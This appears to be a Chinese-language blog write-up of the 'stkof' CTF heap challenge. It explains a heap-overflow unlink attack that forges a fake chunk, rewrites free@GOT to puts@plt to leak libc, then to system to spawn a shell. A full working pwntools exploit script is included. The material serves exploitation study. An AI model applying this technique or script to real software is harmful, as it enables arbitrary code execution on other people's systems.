很经典的unlink入门题。

1646390949971.png

还是菜单题,没什么好说的。

4个函数,一个申请,一个编辑,一个free,一个意义不明(?)。

简单的来说,在sub_4009E8()里存在堆溢出漏洞,没有检查长度。然后在sub_400B07()里free掉chunk之后是会把bss段上那个数组相应的位置清0的。

还有一点就是,这题没有使用setvbuf()来关闭缓冲,所以在第一次输入和输出的时候都会malloc 0x411的chunk作为缓冲区(但是gdb调试的时候发现,输入的缓冲区会开到0x1011)

1646391321497.png

没有开FULL RELRO,所以got表还是可以改的。

由于没有打印堆块的功能,所以这题需要用到unlink来改写某个函数的got表指向puts@plt(没错,我又要改free的got表)

还是分为两步来做:

  1. leak libc:

准备工作:申请一个chunk,把输入输出缓冲区的malloc给弄出来,保证后面的chunk都是连续的。

然后申请一个用来uaf的chunk和一个被free后能放进unsortedbin的chunk。再申请一个chunk保证要free进unsortedbin的chunk不与topchunk物理相邻(其实没必要,反正unlink的时候能和前面的fakechunk合并就行,但是这个chunk后面可以用来存”/bin/sh”)。

unlink的作用简单来说,就是可以把一个指向能造成uaf的chunk的指针改写成其位置-0x18(x86下是-0xc)

假设能造成uaf的chunk的指针为ptr,那么unlink成功过后就能让*ptr = ptr-0x18。这样一来就可以去改一些东西了。(fastbin和smallbin是没有unlink机制的)

unlink最麻烦的地方在于如下检查机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

检查下一个chunk的prev_size和当前chunk的size是否相同,这个很好解决,但是为了不让我们利用unlink随意伪造fd和bk,检查了FD->bk和BK->fd是否都指向当前free掉的chunk,这就有点令人头疼了。

不过,利用malloc申请到chunk的时候,返回给数组的那个位置(我们假设他为ptr),以ptr-0x18为chunkheader的一个fakechunk的bk位置刚好就会是ptr,以ptr-0x10为chunkheader的fakechunk的fd位置也刚好是ptr。这样一来,只要把被free掉的chunk(也就是header是*ptr的那个chunk)的fd和bk分别设置为ptr-0x18和ptr-0x10就能顺利unlink,把 *ptr的值改为ptr-0x18,以此来达到相关目的了。

这道题由于free掉之后会把数组那一位指针清0,所以需要我们自己构造一个被free掉的fakechunk。

因为这个fakechunk的位置需要在数组能找到,而数组刚好存的都是userdata的位置,也就是每个chunk位置后面0x10的位置,而这0x10就是fakechunk的header。(让这个fakechunk和那个会被放进unsortedbin的chunk物理相邻,虽然没法直接让那个chunk触发unlink,但是可以让他和这个fakechunk合并的时候触发这个chunk的unlink)

1646394568294.png

一定要注意,得把下一个chunk的size从0x91改成0x90,不然prev_inuse位被标记的时候是不会前向合并的。

1646394665281.png

这样一来就成功把*arr[2]改成arr[2]-0x18了,这个时候利用他把free的got表写到这个数组上来,然后改成puts@plt去打印出能够leak libc的一个地址。

1646394874139.png

这里我把free的got表和puts的got表分别写到了arr[0]和arr[1]的位置,然后把free的got表改成puts的plt表,再执行free(1)就能leak libc了。

  1. get shell:

因为got表是可以改的,那getshell就很简单了,我是把free的got表又改成了system@plt,然后去free之前那个填好了”/bin/sh”的chunk就完成了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = 'debug'
p = process('./stkof')
# p = remote('node4.buuoj.cn', 27691)
elf = ELF('./stkof')
libc = ELF('./libc-2.23.so')

def allocate(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK\n')

def edit(idx, sz, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(sz))
p.send(content)
p.recvuntil('OK\n')

def delete(idx):
p.sendline('3')
p.sendline(str(idx))
# p.recvline()

allocate(0x100) # idx = 1

allocate(0x80)
allocate(0x80)

allocate(0x20) # idx = 4

# unlink
arr = 0x602140 #&arr[idx] = arr + idx*0x8
pay = p64(0) + p64(0x81)
pay += p64(arr+0x10-0x18) + p64(arr+0x10-0x10)
pay += b'a'*0x60
pay += p64(0x80) + p64(0x90)
edit(2, len(pay), pay)

delete(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
sys_offset = libc.symbols['system']
pay = p64(0) + p64(free_got) + p64(puts_got)
edit(2, len(pay), pay)
pay = p64(puts_plt)
edit(0, len(pay), pay)

delete(1)
# puts_offset = 0x6f6a0
p.recv(3)
base = u64(p.recv(6) + b'\x00\x00') - 0x6f6a0
print(hex(base))
pay = p64(base + sys_offset)
edit(0, len(pay), pay)
edit(4, 0x8, b'/bin/sh\x00')

delete(4)

# gdb.attach(p)

p.interactive()